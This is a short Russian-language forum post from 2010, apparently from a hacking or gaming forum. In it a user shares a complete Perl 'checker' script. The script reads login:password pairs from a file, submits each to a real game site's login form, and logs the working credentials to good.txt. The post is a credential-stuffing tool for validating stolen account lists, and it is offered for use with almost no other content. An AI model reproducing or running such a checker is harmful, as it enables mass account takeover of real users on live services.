Тема: Чекер ГГЦ
Показать сообщение отдельно

  #9  
Старый 20.02.2010, 19:45
Fepsis
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами: 9288386

Репутация: 536


По умолчанию

Под актив перл.. Исходные данные в файл base.txt в виде

Код:
логин:пасс
логин:пасс

Код:
#!/usr/bin/perl   


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt'); 
chomp(@base = <BASE>);
close(BASE);


sub logg
   {
	my ($data, $file) = @_;
	open(OUT, ">> ".$file);
	print OUT "$data\n";
	close(OUT);
   }



sub check
   {
	my ($auth_data) = @_;
	$cookie_jar->clear();
	$auth_data =~ /^(.+?)\:(.+?)$/g;
	my $login = $1;
	my $pass = $2;

	print $auth_data;
	my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
	if($cookie_jar->as_string =~/dle_password=/)
	   {
		print " : GOOD\n";
		logg("$login:$pass", "good.txt");
	   }

	else
	   {
		print " : BAD\n";
		logg("$login:$pass", "bad.txt");
	   }

   }


foreach (@base)
   {
	check($_);
   }
 
Ответить с цитированием